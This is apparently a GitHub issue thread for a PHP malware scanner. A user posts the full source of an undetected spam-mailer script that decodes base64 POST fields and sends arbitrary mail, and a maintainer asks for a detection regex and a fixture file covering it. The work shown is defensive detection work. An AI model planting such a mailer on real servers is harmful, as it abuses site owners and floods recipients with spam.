spam mail file undetected

[Hugo-Carattoni]

This type of file are not detected:

if(isset($_POST["mailto"]))
        $MailTo = base64_decode($_POST["mailto"]);
else
        {
        echo "indata_error";
        exit;
        }
if(isset($_POST["msgheader"]))
        $MessageHeader = base64_decode($_POST["msgheader"]);
else
        {
        echo "indata_error";
        exit;
        }
if(isset($_POST["msgbody"]))
        $MessageBody = base64_decode($_POST["msgbody"]);
else
        {
        echo "indata_error";
        exit;
        }
if(isset($_POST["msgsubject"]))
        $MessageSubject = base64_decode($_POST["msgsubject"]);
else
        {
        echo "indata_error";
        exit;
        }
if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader))
        echo "sent_ok";
else
        echo "sent_error";
?>

[gallart]

Hello Hugo,

Can you propose merge resquest with this new pattern as webshell + fixture file ? (see my previous MR)

base64_decode\(\$_POST\["mailto"\]\);

Thanks,

Gaëtan

[soullivaneuh]

Please use code blocks for snippet. I corrected your post @Hugo-Carattoni

More information here: https://guides.github.com/features/mastering-markdown/